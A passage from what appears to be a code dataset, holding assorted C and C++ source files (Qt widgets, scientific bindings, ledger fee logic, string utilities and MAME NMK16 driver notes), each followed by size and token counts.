text
string
size
int64
token_count
int64
/** * Copyright (C) 2015-2019 * Author Alvin Ahmadov <alvin.dev.ahmadov@gmail.com> * * This file is part of Dixter Project * License-Identifier: MIT License * See README.md for more information. */ #include <QDebug> #include "Utilities.hpp" #include "Configuration.hpp" #include "Constants.hpp" #include "Gui/OptionBox.hpp" namespace AlgoUtils = Dixter::Utilities::Algorithms; using std::vector; namespace Dixter { namespace Gui { void arrayStringToVector(const QStringList& src, vector<QString>& dest) { AlgoUtils::foreachCompound(src, dest, [](const QString& srcValue, QString& destValue) { destValue = srcValue; }); } void vectorToArrayString(const vector<QString>& src, QStringList& dest) { Utilities::Algorithms::foreachCompound(src, dest, [ ](const QString& srcValue, QString& destValue) { destValue = srcValue; }); } QStringList vectorToArrayString(const vector<QString>& src) { QStringList __ret {}; Utilities::Algorithms::foreachCompound(src, __ret, [ ](const QString& srcValue, QString& destValue) { destValue = srcValue; }); return __ret; } Int32 compare(const QVariant& v1, const QVariant& v2) { return v1.toString().compare(v2.toString()); } TOptionBox::TOptionBox(QWidget* parent, const QString& placeholder, const QSize& size, bool sort) : QComboBox(parent), m_isPlaceholderSet(), m_sort(sort), m_placeHolder(placeholder) { setPlaceholder(placeholder); if (size.height() > 0 and size.width() > 0) setMinimumSize(size); init(); connectEvents(); } TOptionBox::TOptionBox(const QString& placeholder, const QSize& size, bool sort) : TOptionBox(nullptr, placeholder, size, sort) { } inline void TOptionBox::setPlaceholder(const QString& placeholder) { if (not placeholder.isEmpty()) { m_placeHolder = placeholder; m_isPlaceholderSet = true; if (count() > 0) { int srchNum { }; srchNum = findText(m_placeHolder); if (srchNum != -1) { setCurrentIndex(srchNum); } else { insertItem(0, m_placeHolder); } } else { addItem(m_placeHolder); } setCurrentText(m_placeHolder); } } void TOptionBox::resetPlaceholder() { if (m_isPlaceholderSet) { auto idx = findText(m_placeHolder); if (idx > -1) removeItem(idx); m_isPlaceholderSet = false; } } void TOptionBox::setValues(vector<TUString>& options, bool sort) { Q_UNUSED(sort) if (options.size() > 0) { for (const auto& option : options) { auto __option = option.asCustom(); addItem(__option); } } } void TOptionBox::setValues(const QStringList& options) { if (options.size() > 0) { for (const auto& option : options) { addItem(option); } } } void TOptionBox::swapCurrent(TOptionBox* src) { if(isPlaceholderSet() or src->isPlaceholderSet()) return; auto __srcCount = src->getItemCount(); auto __currentIndex = currentIndex(); if (__srcCount > 0) { setCurrentIndex(src->currentIndex()); src->setCurrentIndex(__currentIndex); } } void TOptionBox::sort(bool ascending) { //TODO(Alvin): Reimplement (void)ascending; // auto __currentValues = currentData(); // clear(); // if (ascending) // { // std::sort(__currentValues.begin(), __currentValues.end(), std::greater<QString>()); // } else // { // std::sort(__currentValues.begin(), __currentValues.end(), std::less<QString>()); // } // // setValues(__currentValues); } Int32 TOptionBox::getItemCount() const { return (isPlaceholderSet() ? count() - 1 : count()); } Int32 TOptionBox::getPosition(const QString& value) { Int32 __pos { -1 }; __pos = findText(value); return __pos; } bool TOptionBox::isPlaceholderSet() const { return m_isPlaceholderSet; } void TOptionBox::onChanged(int) { resetPlaceholder(); } void TOptionBox::init() { auto __confMan = getIniManager({ g_guiConfigPath}); auto __bgColour = __confMan->accessor()->getValue(NodeKey::kWinBgColourNode).asCustom(); auto __fontName = __confMan->accessor()->getValue(NodeKey::kWinFontNameNode).asCustom(); int __fontSize = __confMan->accessor()->getValue(NodeKey::kWinFontSizeNode); __bgColour.prepend('#'); setPalette(QPalette(__bgColour)); setFont(QFont(__fontName, __fontSize)); } void TOptionBox::connectEvents() { connect(this, SIGNAL(activated(int)), SLOT(onChanged(int))); } } }
4,649
2,025
#include "Float3Slider.h" Float3Slider::Float3Slider(char * name, glm::vec3 min, glm::vec3 max, float * value , glm::vec3 gran) : min(min), max(max), value(value), gran(gran) { sliderLayout = new QHBoxLayout(); vectorLabel = new QLabel(name); sliderVector[0] = new FloatSlider("X", min[0],max[0],&value[0], gran[0]); sliderVector[1] = new FloatSlider("Y", min[1],max[1],&value[1], gran[1]); sliderVector[2] = new FloatSlider("Z", min[2],max[2],&value[2], gran[2]); sliderLayout->addWidget(vectorLabel); sliderLayout->addWidget(sliderVector[0]); sliderLayout->addWidget(sliderVector[1]); sliderLayout->addWidget(sliderVector[2]); sliderLayout->setContentsMargins(0,0,0,0); sliderLayout->setSpacing(0); sliderLayout->setMargin(0); setLayout(sliderLayout); } Float3Slider::~Float3Slider(void) { } void Float3Slider::update() { for (int i = 0; i < 3; i++) { sliderVector[i]->update(); } }
914
367
// Copyright (c) 2012-2017 VideoStitch SAS // Copyright (c) 2018 stitchEm #include "globalcontroller.hpp" GlobalController::GlobalController() : impl(nullptr) {} GlobalController::~GlobalController() { Q_ASSERT(impl); delete impl; } StitcherController* GlobalController::getController() const { Q_ASSERT(impl); return impl->getController(); } void GlobalController::createController(int device) { Q_ASSERT(impl); impl->createController(device); } void GlobalController::deleteController() { Q_ASSERT(impl); impl->deleteController(); }
557
184
#include "minsk/analysis/text/span.hpp" minsk::analysis::text::text_span::text_span(int start, int length) : m_start(start), m_length(length) {} minsk::analysis::text::text_span minsk::analysis::text::text_span::from_bounds(int start, int end) { return text_span{start, end - start}; } int minsk::analysis::text::text_span::start() const { return m_start; } int minsk::analysis::text::text_span::length() const { return m_length; } int minsk::analysis::text::text_span::end() const { return m_start + m_length; } std::ostream &minsk::analysis::text::operator<<( std::ostream &os, const minsk::analysis::text::text_span &span) { return os << "text_span{start: " << span.start() << ", length: " << span.length() << "}"; }
750
256
#include <cctbx/boost_python/flex_fwd.h> #include <cctbx/xray/scatterer.h> #include <cctbx/adptbx.h> #include <cctbx/uctbx.h> #include <boost/python/class.hpp> #include <boost/python/dict.hpp> #include <boost/python/str.hpp> #include <boost/python/args.hpp> #include <boost/python/return_arg.hpp> #include <scitbx/array_family/boost_python/shared_wrapper.h> #include <scitbx/array_family/boost_python/selections_wrapper.h> #include <iotbx/pdb/hierarchy_atoms.h> #include <boost/format.hpp> namespace iotbx { namespace pdb { namespace hierarchy { namespace atoms { namespace { boost::python::dict build_dict( af::const_ref<atom> const& atoms, bool strip_names, bool upper_names, bool convert_stars_to_primes, bool throw_runtime_error_if_duplicate_keys) { namespace bp = boost::python; bp::dict result; bp::object none; for(unsigned i=0;i<atoms.size();i++) { str4 name = atoms[i].data->name; if (strip_names) name = name.strip(); if (upper_names) name.upper_in_place(); if (convert_stars_to_primes) name.replace_in_place('*', '\''); bp::str key = name.elems; bp::object prev_atom = result.get(key); if (prev_atom.ptr() == none.ptr()) { result[key] = atoms[i]; } else if (throw_runtime_error_if_duplicate_keys) { throw std::runtime_error((boost::format( "Duplicate keys in build_dict(" "strip_names=%s, upper_names=%s, convert_stars_to_primes=%s):\n" " %s\n" " %s") % (strip_names ? "true" : "false") % (upper_names ? "true" : "false") % (convert_stars_to_primes ? "true" : "false") % bp::extract<atom const&>(prev_atom)().id_str() % atoms[i].id_str()).str()); } } return result; } void set_adps_from_scatterers( af::const_ref<atom> const& atoms, af::const_ref<cctbx::xray::scatterer<> > const& scatterers, cctbx::uctbx::unit_cell const& unit_cell) { namespace adptbx = cctbx::adptbx; for (unsigned i = 0; i < atoms.size(); i++) { if (scatterers[i].flags.use_u_iso()) { atoms[i].data->b = adptbx::u_as_b(scatterers[i].u_iso); atoms[i].uij_erase(); } else if (scatterers[i].flags.use_u_aniso()) { atoms[i].data->uij = adptbx::u_star_as_u_cart(unit_cell, scatterers[i].u_star); atoms[i].data->b = adptbx::u_as_b(adptbx::u_cart_as_u_iso( atoms[i].data->uij)); } } } } // namespace <anonymous> void bpl_wrap() { using namespace boost::python; class_<atom_tmp_sentinel, std::auto_ptr<atom_tmp_sentinel>, boost::noncopyable>("atom_data_tmp_sentinel", no_init); typedef scitbx::af::boost_python::shared_wrapper<atom> wat; class_<wat::w_t> wa = wat::wrap("af_shared_atom"); scitbx::af::boost_python::select_wrappers< atom, af::shared<atom> >::wrap(wa); typedef scitbx::af::boost_python::shared_wrapper<atom_with_labels> wawl_t; class_<wawl_t::w_t> wawl = wawl_t::wrap("af_shared_atom_with_labels"); scitbx::af::boost_python::select_wrappers< atom_with_labels, af::shared<atom_with_labels> >::wrap(wawl); wa.def("extract_serial", extract_serial) .def("extract_name", extract_name) .def("extract_segid", extract_segid) .def("extract_xyz", extract_xyz) .def("extract_sigxyz", extract_sigxyz) .def("extract_occ", extract_occ) .def("extract_sigocc", extract_sigocc) .def("extract_b", extract_b) .def("extract_sigb", extract_sigb) .def("extract_uij", extract_uij) #ifdef IOTBX_PDB_ENABLE_ATOM_DATA_SIGUIJ .def("extract_siguij", extract_siguij) #endif .def("extract_fp", extract_fp) .def("extract_fdp", extract_fdp) .def("extract_hetero", extract_hetero) .def("extract_element", extract_element, (arg("strip")=false)) .def("extract_i_seq", extract_i_seq) .def("extract_tmp_as_size_t", extract_tmp_as_size_t) .def("set_xyz", set_xyz, (arg("new_xyz")), return_self<>()) .def("set_sigxyz", set_sigxyz, (arg("new_sigxyz")), return_self<>()) .def("set_occ", set_occ, (arg("new_occ")), return_self<>()) .def("set_sigocc", set_sigocc, (arg("new_sigocc")), return_self<>()) .def("set_b", set_b, (arg("new_b")), return_self<>()) .def("set_sigb", set_sigb, (arg("new_sigb")), return_self<>()) .def("set_uij", set_uij, (arg("new_uij")), return_self<>()) #ifdef IOTBX_PDB_ENABLE_ATOM_DATA_SIGUIJ .def("set_siguij", set_siguij, (arg("new_siguij")), return_self<>()) #endif .def("set_fp", set_fp, (arg("new_fp")), return_self<>()) .def("set_fdp", set_fdp, (arg("new_fdp")), return_self<>()) .def("reset_serial", reset_serial, (arg("first_value")=1)) .def("set_chemical_element_simple_if_necessary", set_chemical_element_simple_if_necessary, ( arg("tidy_existing")=true)) .def("reset_i_seq", reset_i_seq) .def("reset_tmp", reset_tmp, ( arg("first_value")=0, arg("increment")=1)) .def("reset_tmp_for_occupancy_groups_simple", reset_tmp_for_occupancy_groups_simple) .def("build_dict", build_dict, ( arg("strip_names")=false, arg("upper_names")=false, arg("convert_stars_to_primes")=false, arg("throw_runtime_error_if_duplicate_keys")=true)) .def("set_adps_from_scatterers", set_adps_from_scatterers, ( arg("scatterers"), arg("unit_cell"))); ; } }}}} // namespace iotbx::pdb::hierarchy::atoms
5,567
2,144
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #if !defined(WRITER_HEADER_GUARD_1357924680) #define WRITER_HEADER_GUARD_1357924680 // Base include file. Must be first. #include <xalanc/PlatformSupport/PlatformSupportDefinitions.hpp> #include <cstddef> #include <xalanc/XalanDOM/XalanDOMString.hpp> namespace XALAN_CPP_NAMESPACE { class XalanOutputStream; class XALAN_PLATFORMSUPPORT_EXPORT Writer { public: Writer(); virtual ~Writer(); /** * Close the stream */ virtual void close() = 0; /** * Flush the stream */ virtual void flush() = 0; /** * Get the stream associated with the writer... */ virtual XalanOutputStream* getStream(); /** * Get the stream associated with the writer... */ virtual const XalanOutputStream* getStream() const; // Output functions static const size_t npos; /** * Writes a string * * @param s string to write * @param theOffset starting offset in string to begin writing, default 0 * @param theLength number of characters to write. If the length is npos, then the array is assumed to be null-terminated. */ virtual void write( const char* s, size_t theOffset = 0, size_t theLength = npos) = 0; /** * Writes a string * * @param s string to write * @param theOffset starting offset in string to begin writing, default 0 * @param theLength number of characters to write. If the length is XalanDOMString::npos, then the array is assumed to be null-terminated. */ virtual void write( const XalanDOMChar* s, XalanDOMString::size_type theOffset = 0, XalanDOMString::size_type theLength = XalanDOMString::npos) = 0; /** * Writes a character * * @param c character to write */ virtual void write(XalanDOMChar c) = 0; /** * Writes a string * * @param s string to write * @param theOffset starting offset in string to begin writing, default 0 * @param theLength number of characters to write. If the length is XalanDOMString::npos, then the entire string is printed. */ virtual void write( const XalanDOMString& s, XalanDOMString::size_type theOffset = 0, XalanDOMString::size_type theLength = XalanDOMString::npos) = 0; private: // Not implemented Writer(const Writer&); Writer& operator=(const Writer&); bool operator==(const Writer&); }; } #endif // WRITER_HEADER_GUARD_1357924680
3,505
1,096
//----------------------------------*-C++-*----------------------------------// /*! * \file rng/LC_Subrandom_Generator.hh * \author Kent Budge * \brief Definition of class LC_Subrandom_Generator * \note Copyright (C) 2016-2019 Triad National Security, LLC. * All rights reserved. */ //---------------------------------------------------------------------------// #ifndef rng_LC_Subrandom_Generator_hh #define rng_LC_Subrandom_Generator_hh #include "Subrandom_Generator.hh" #include "gsl/gsl_rng.h" namespace rtt_rng { //===========================================================================// /*! * \class LC_Subrandom_Generator * \brief Generator for a sequence of subrandom (pseudorandom) vectors. * * This is an implementation of the old, hoary linear congruential * generator. The name is somewhat of a misnomer since this is a true * pseudorandom generator (is that an oxymoron?) rather than a subrandom * generator. In other words, the approximation to an integral computed using * this sequence as quadrature points converges smoothly, but only as * 1/sqrt(N) rather than 1/N. */ //===========================================================================// class LC_Subrandom_Generator : public Subrandom_Generator { public: // NESTED CLASSES AND TYPEDEFS // CREATORS //! Normal constructor. explicit LC_Subrandom_Generator(unsigned const count = 1); ~LC_Subrandom_Generator(); // MANIPULATORS //! Advance sequence. void shift_vector(); //! Get the next element in the current vector. double shift(); // ACCESSORS bool check_class_invariants() const; private: // NESTED CLASSES AND TYPEDEFS // IMPLEMENTATION //! not implemented LC_Subrandom_Generator(LC_Subrandom_Generator const &); // not implemented LC_Subrandom_Generator &operator=(LC_Subrandom_Generator const &); // DATA gsl_rng *generator_; }; } // end namespace rtt_rng #endif // rng_LC_Subrandom_Generator_hh //---------------------------------------------------------------------------// // end of rng/LC_Subrandom_Generator.hh //---------------------------------------------------------------------------//
2,174
634
// Copyright Carl Philipp Reh 2006 - 2019. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) #ifndef SGE_LIBPNG_ERROR_CONTEXT_REF_HPP_INCLUDED #define SGE_LIBPNG_ERROR_CONTEXT_REF_HPP_INCLUDED #include <sge/libpng/error_context_fwd.hpp> #include <fcppt/reference_impl.hpp> namespace sge::libpng { using error_context_ref = fcppt::reference<sge::libpng::error_context>; } #endif
511
213
#include <iostream> #include <string> using namespace std; int main() { string temp; bool isFirst(true); while (getline(cin, temp)) { for (string::iterator iter = temp.begin(); iter != temp.end(); ++iter) { if (*iter == '"') { if (isFirst) cout << "``"; else cout << "''"; isFirst = !isFirst; } else cout << *iter; } cout << '\n'; } }
581
160
//Game Over State source file #include "GameOver.h" //Instantiating static variable gameOverID const std::string GameOverState::gameOverID = "GAMEOVER"; //GameOver State constructor GameOverState::GameOverState(std::vector<GameObject*> parameter, void (*callbackFunction)()) { for (int i = 0; i < parameter.size(); i++) gameObjects.push_back(parameter[i]); callback = callbackFunction; sleepTime = 0.0f; } //Return state ID std::string GameOverState::GetStateID() const { return gameOverID; } //Update function of GameOver State void GameOverState::Update(float dtAsSeconds) { //Find a way to change state to play state and revert back all the updates to the initial values /*sleepTime += dtAsSeconds; if (sleepTime > 2) callback();*/ } //Render function of GameOver State void GameOverState::Render(RenderWindow* window) { gameObjects[1]->DrawStill(window); } //First function to be called when we enter GameOver State bool GameOverState::OnEnter() { return true; } //Last function to be called when we exit GameOver State bool GameOverState::OnExit() { for (int i = 0; i < gameObjects.size(); i++) gameObjects[i]->Clean(); gameObjects.clear(); return true; }
1,186
377
#include "ledger/FeeFrame.h" #include "database/Database.h" #include "crypto/SecretKey.h" #include "crypto/SHA.h" #include "LedgerDelta.h" #include "util/types.h" using namespace std; using namespace soci; namespace stellar { FeeFrame::FeeFrame() : EntryFrame(LedgerEntryType::FEE), mFee(mEntry.data.feeState()) { } FeeFrame::FeeFrame(LedgerEntry const& from) : EntryFrame(from), mFee(mEntry.data.feeState()) { } FeeFrame::FeeFrame(FeeFrame const& from) : FeeFrame(from.mEntry) { } FeeFrame& FeeFrame::operator=(FeeFrame const& other) { if (&other != this) { mFee = other.mFee; mKey = other.mKey; mKeyCalculated = other.mKeyCalculated; } return *this; } FeeFrame::pointer FeeFrame::create(FeeType feeType, int64_t fixedFee, int64_t percentFee, AssetCode asset, AccountID* accountID, AccountType* accountType, int64_t subtype, int64_t lowerBound, int64_t upperBound) { LedgerEntry le; le.data.type(LedgerEntryType::FEE); FeeEntry& entry = le.data.feeState(); entry.fixedFee = fixedFee; entry.percentFee = percentFee; entry.feeType = feeType; entry.asset = asset; entry.subtype = subtype; if (accountID) entry.accountID.activate() = *accountID; if (accountType) entry.accountType.activate() = *accountType; entry.lowerBound = lowerBound; entry.upperBound = upperBound; entry.hash = calcHash(feeType, asset, accountID, accountType, subtype); return std::make_shared<FeeFrame>(le); } bool FeeFrame::isInRange(int64_t a, int64_t b, int64_t point) { return a <= point && point <= b; } int64_t FeeFrame::calculatePercentFee(int64_t amount, bool roundUp) { if (mFee.percentFee == 0) return 0; auto rounding = roundUp ? ROUND_UP : ROUND_DOWN; return bigDivide(amount, mFee.percentFee, 100 * ONE, rounding); } bool FeeFrame::calculatePercentFee(const uint64_t amount, uint64_t& result, const Rounding rounding) const { result = 0; if (mFee.percentFee == 0) { return true; } return bigDivide(result, amount, mFee.percentFee, 100 * ONE, rounding); } int64_t FeeFrame::calculatePercentFeeForPeriod(int64_t amount, int64_t periodPassed, int64_t basePeriod) { if (mFee.percentFee == 0 || periodPassed == 0 || basePeriod == 0 || amount == 0) { return 0; } int64_t percentFeeForFullPeriod = calculatePercentFee(amount); return bigDivide(percentFeeForFullPeriod, periodPassed, basePeriod, ROUND_UP); } bool FeeFrame::isValid(FeeEntry const& oe) { auto res = oe.fixedFee >= 0 && oe.percentFee >= 0 && oe.percentFee <= 100 * ONE && isFeeTypeValid(oe.feeType) && oe.lowerBound <= oe.upperBound; return res; } Hash FeeFrame::calcHash(FeeType feeType, AssetCode asset, AccountID* accountID, AccountType* accountType, int64_t subtype) { std::string data = ""; char buff[100]; snprintf(buff, sizeof(buff), "type:%i", feeType); std::string buffAsStdStr = buff; data += buffAsStdStr; std::string rawAsset = asset; snprintf(buff, sizeof(buff), "asset:%s", rawAsset.c_str()); buffAsStdStr = buff; data += buffAsStdStr; snprintf(buff, sizeof(buff), "subtype:%s", std::to_string(subtype).c_str()); buffAsStdStr = buff; data += buffAsStdStr; if (accountID) { std::string actIDStrKey = PubKeyUtils::toStrKey(*accountID); snprintf(buff, sizeof(buff), "accountID:%s", actIDStrKey.c_str()); buffAsStdStr = buff; data += buffAsStdStr; } if (accountType) { snprintf(buff, sizeof(buff), "accountType:%i", *accountType); buffAsStdStr = buff; data += buffAsStdStr; } return Hash(sha256(data)); } bool FeeFrame::isValid() const { return isValid(mFee); } }
4,188
1,521
#include "utils.h" #include <stdio.h> #include <stdarg.h> #include <string> #include <math.h> #include <iostream> string StringPrintf(const char *format, ...) { va_list arg; char buffer[512]; // TODO(medium): Should check for overflow va_start(arg, format); vsprintf(buffer, format, arg); va_end (arg); return string(buffer); } double Sigmoid(double z) { return 1 / (1 + exp(-z)); } double Square(double z) { return z*z; } float Sigmoidfb(float z) { return 1 / (1 + exp(-z)); } double LogSum(double log_a, double log_b) { if (log_a < -10000000) return log_b; if (log_b < -10000000) return log_a; if (log_a < log_b) { return log_a + log(exp(log_a - log_b)); } else { return log_b + log(exp(log_b - log_a)); } } double StringDistance(string s1, string s2) { double costs[s1.length()][s2.length()]; costs[0][0] = BIG_DOUBLE; for (uint i = 0; i < s1.length(); i++) { for (uint j = 0; j < s2.length(); j++) { // Cost of coming from each of the directions wrt current cell // (up & left, up, left, up & up & left & left) double ul, u, l, uull; ul = u = l = uull = BIG_DOUBLE; // Single character operations if (i > 0 && j > 0) { ul = costs[i-1][j-1] + MatchCost(s1[i], s2[j]); } if (i > 0) { u = costs[i-1][j] + DeletionCost(s1[i]); } if (j > 0) { l = costs[i][j-1] + InsertionCost(s2[j]); } // Multiple (2) character operations if (i > 1 && j > 1) { uull = costs[i-2][j-2] + SwapCost(s1[i-1], s1[i], s2[j-1], s2[j]); } double best_cost = min(ul,min(u, min(l, uull))); if (best_cost == BIG_DOUBLE) best_cost = 0; costs[i][j] = best_cost; if (i == 0 && j == 0) { costs[i][j] = MatchCost(s1[0], s2[0]); } } } bool print_matrix = false; if (print_matrix) { cout << " "; for (uint j = 0; j < s2.length(); j++) { cout << s2[j] << " "; } cout << endl; for (uint i = 0; i < s1.length(); i++) { cout << s1[i] << " "; for (uint j = 0; j < s2.length(); j++) { cout << costs[i][j] << " "; } cout << endl; } } return costs[s1.length()-1][s2.length()-1]; } double MatchCost(char a, char b) { return (a == b) ? 0 : 1.2; } double InsertionCost(char a) { a = 1; return 1.2; } double DeletionCost(char a) { a = 1; return 1.1; } // cost of matching [a1 a2] to [b1 b2] double SwapCost(char a1, char a2, char b1, char b2) { return 1; return (a1 == b2 && a2 == b1) ? 1 : MatchCost(a1, b1) + MatchCost(a2, b2); } bool PairCompareFirst(pair<double, int> a, pair<double, int> b) { return (a.first > b.first); } // My implementation of Matlab's fullfile() function. // Concatenate two strings holding parts of a path, making sure that the pathseparator (/) // does not get repeated or missed. // TODO: Extend to variable inputs string fullfile2(string path, string file) { // check if file is empty int len = path.length(); if (len == 0) path += '/'; // check for file-separator at end of path. If not present, add. if ( !(path.at(len-1) == '/') && !(path.at(len-1) == '\\') ) path = path + "/" + file; else path += file; len = path.length(); // if ( !(path.at(len-1) == '/') && !(path.at(len-1) == '\\') ) // path += "/"; return path; } // Class to hold cute matlab-style tic-toc functions to time things void MyTimer::tic() { clk_start = clock(); //tm_start = time(NULL); gettimeofday(&tm_start,NULL); } double MyTimer::toc(bool print, double* pclk_diff, double *ptm_diff) { // CPU time clk_diff = (double) (clock() - clk_start); //printf("%lf %d\n", clk_diff, CLOCKS_PER_SEC); clk_diff /= CLOCKS_PER_SEC; //printf("%lf %d\n", clk_diff, CLOCKS_PER_SEC); // Real time timeval tm_end; gettimeofday(&tm_end,NULL); tm_diff = (double)(tm_end.tv_sec - tm_start.tv_sec) + (double)(tm_end.tv_usec - tm_start.tv_usec)/1000000; if (print) printf("Time Elapsed: %lf (CPU), %lf (Real) secs\n",clk_diff,tm_diff); if (pclk_diff) *pclk_diff = clk_diff; if (ptm_diff) *ptm_diff = tm_diff; if (clk_diff > 0) { //printf("Returning clk_diff"); return clk_diff; } else { //printf("Returning tm_diff"); return tm_diff; } } // Split a path into dirname and basename void splitpath(string path, string& dirname, string& basename) { size_t pos = path.find_last_of("/\\"); EXPECT_NEQ(pos, string::npos, "Basename empty"); dirname = path.substr(0,pos); basename = path.substr(pos+1); } // Split a filename into name and extension void splitfname(string fname, string& fname_noext, string& ext) { size_t pos = fname.find_last_of("."); EXPECT_NEQ(pos, string::npos, "No Extention Found"); fname_noext = fname.substr(0,pos); ext = fname.substr(pos); }
4,979
2,046
// license:BSD-3-Clause // copyright-holders:Mirko Buffoni,Nicola Salmoria,Bryan McPhail,David Haywood,R. Belmont,Alex Marshall,Angelo Salese,Luca Elia // thanks-to:Richard Bush /******************************************************************** Task Force Harrier 1989 UPL 68000 Z80 YM2203 2xOKIM6295 Many Block 1991 Bee-Oh 68000 Z80 YM2203 2xOKIM6295 Mustang 1990 UPL 68000 NMK004 YM2203 2xOKIM6295 Bio-ship Paladin 1990 UPL 68000 NMK004 YM2203 2xOKIM6295 Vandyke 1990 UPL 68000 NMK004 YM2203 2xOKIM6295 Black Heart 1991 UPL 68000 NMK004 YM2203 2xOKIM6295 Acrobat Mission 1991 UPL 68000 NMK004 YM2203 2xOKIM6295 Strahl 1992 UPL 68000 NMK004 YM2203 2xOKIM6295 Thunder Dragon 1991 NMK/Tecmo 68000 NMK004 YM2203 2xOKIM6295 Hacha Mecha Fighter proto 1991 NMK 68000 NMK004 YM2203 2xOKIM6295 Hacha Mecha Fighter 1991 NMK 68000 NMK004 YM2203 2xOKIM6295 Macross 1992 Banpresto 68000 NMK004 YM2203 2xOKIM6295 GunNail 1993 NMK/Tecmo 68000 NMK004 YM2203 2xOKIM6295 Macross II 1993 Banpresto 68000 Z80 YM2203 2xOKIM6295 Thunder Dragon 2 1993 NMK 68000 Z80 YM2203 2xOKIM6295 Arcadia / Rapid Hero 1994 NMK 68000 tmp90c841 YM2203 2xOKIM6295 S.S. Mission 1992 Comad 68000 Z80 OKIM6295 (hack of Thunder Dragon) Air Attack 1996 Comad 68000 Z80 OKIM6295 (hack of Thunder Dragon) Mustang (bootleg) 68000 Z80 YM3812 OKIM6295 Thunder Dragon (bootleg) 68000 Z80 YM3812 OKIM6295 Thunder Dragon 3 (bootleg) 1996 Conny 68000 Z80 (Unknown, Single OKIM6295 identified) Saboten Bombers 1992 NMK/Tecmo 68000 2xOKIM6295 Bombjack Twin 1993 NMK 68000 2xOKIM6295 Nouryoku Koujou Iinkai 1995 Tecmo 68000 2xOKIM6295 driver by Mirko Buffoni, Richard Bush, Nicola Salmoria, Bryan McPhail, David Haywood, R. Belmont, Alex Marshal and Luca Elia. Afega based their hardware on the NMK hardware, not surprising considering Twin Action is simply a hack of USSAF Mustang. The NMK004 CPU is a Toshiba TMP90C840 with internal ROM. The dumped internal ROM has a date string of 900315 in ROM and a version number of V-00 The later games (from GunNail onwards) have a higher resolution (384x224 instead of 256x224) but the hardware is pretty much the same. It's obvious that the higher res is an afterthought, because the tilemap layout is weird (the left 8 screen columns have to be taken from the rightmost 8 columns of the tilemap), and the games rely on mirror addresses to access the tilemap sequentially. TODO: - tharrier performs a handshake operation which is the same as that used by the other games to initialize the NMK004 at boot, however it doesn't have an NMK004 (it uses a Z80 based sound system and also predates the NMK004) maybe it has a pre-NMK004 chip using the same communication protocol but used for protection instead. - tharrier: Current emulation is stuck when try to access test mode. - Protection is patched in several games. - Hacha Mecha Fighter: mcu simulation is wrong/incorrect (see notes). - In Bioship, there's an occasional flicker of one of the sprites composing big ships. Increasing CPU speed from 12 to 16 MHz improved it, but it's still not 100% fixed. (the CPU speed has been verified to be 10Mhz??) - (PCB owners): Measure pixel clock / vblank duration for all of these games. - for the Afega games (Guardian Storm especially) the lives display has bad colours, it doesn't matter if this is drawn with the TX layer (some sets) or the sprites (others) so it's probably something else funky with the memory access. - Thunder Dragon 3 (bootleg of Thunder Dragon 2) : Sound System isn't hooked up correctly for this set. - Verify sprite limits for games when resolution is 384x224 NOT BUGS: - Black Heart: test mode text are buggy - Hacha Mecha Fighter: (BTANB) the bomb graphics are pretty weird when the game is in japanese mode, but it's like this on the original game. - Vandyke: Many enemies make very strange sounds because they seem to have no rate limit for making their sound effect. This is normal, it's like this on all PCB recordings. - Sprite number is limited related to screen size and each sprite size. reference : http://upl-gravedigger.boo.jp/pcb_info/pcb_manual_7.jpg ---- tharrier test mode: 1) Press player 2 buttons 1+2 during reset. "Are you ready?" will appear 2) Press player 1 buttons in this sequence: 2,1,2,2,1,1,↓,↓ Note: this doesn't currently work, the message never appears (most likely an error in the protection simulation). tdragon and hachamf test mode: 1) Press player 2 buttons 1+2 during reset. "Ready?" will appear 2) Press player 1 button 2 14 (!) times mustang and blkheart test mode: 1) Press player 2 buttons 1+2 during reset. "Ready?" will appear 2) Press player 1 button 1 14 (!) times Note: blkheart has a buggy service mode, apparently they shifted the ASCII gfx bank at $3xx but forgot to update the routines so it treats the VRAM as if ASCII bank is at $0xx (cfr. the move.w imm,Ax). gunnail test mode: 1) Press player 2 buttons 1+2 during reset. "Ready?" will appear 2) Press player 2 button 1 3 times bjtwin test mode: 1) Press player 2 buttons 1+2 during reset. "Ready?" will appear 2) Press player 1 buttons in this sequence: 2,2,2, 1,1,1, 2,2,2, 1,1,1 The release date of this program will appear. Note: Some code has to be patched out for this to work (cfr. init_bjtwin fn). The program remaps button 2 and 3 to button 1, so you can't enter the above sequence. --- 'gunnailp' observed differences (from notes by trap15) - Different introduction scene - Many unique enemy types that ended up unused - Tweaked enemy attack patterns - Tweaked boss behavior and attack patterns - Dramatically different stages (and only 7 of them): - Stage 1: Became Stage 5, very different layouts - Stage 2: Became Stage 7, with mostly slight enemy layout changes - Stage 3: Became Stage 6, almost the same as final - Stage 4: Stayed as Stage 4, with very minor enemy layout changes - Stage 5: Entirely unique stage, majorly reworked to become final Stage 2 - Stage 6: Became Stage 3, many enemy layout changes - Stage 7: Entirely unique stage, majorly reworked to become final Stage 1 - No ending, instead loops forever - Loop has extremely fast bullets - The difficulty seems the same on all loops - Player's blue shot has a wider maximum and minimum spread - Player's main shot hitbox is symmetrical and wider than final - When the hitbox was shrunk for the final, it was only shrunk in one direction, making it extended to the right --- Questions / Notes 'manybloc' : - There are writes to 0x080010.w and 0x080012.w (MCU ?) in code between 0x005000 to 0x005690, but I see no call to "main" routine at 0x005504 ! - There are writes to 0x08001c.w and 0x08001e.w but I can't tell what the effect is ! Could it be related to sound and/or interrupts ? - In the "test mode", press BOTH player 1 buttons to exit - When help is available, press BUTTON2 twice within the timer to "solve" --- Sound notes for games with a Z80: mustangb, strahljb and tdragonb use the Seibu Raiden sound hardware and a modified Z80 program (but the music is intact and recognizable). See audio/seibu.cpp for more info on this. --- Afega Games 95 Twin Action this is a hack of Mustang with new graphics 97 Red Hawk 98 Sen Jin - Guardian Storm 98 Stagger I Japanese release of Red Hawk 98 Bubble 2000 By Tuning, but it seems to be the same HW / Hot Bubble 00 Spectrum 2000 By YomaTech -- NOTE sprite bugs happen on real hw!! 01 Fire Hawk By ESD with different sound hardware: 2 M6295, this doesn't 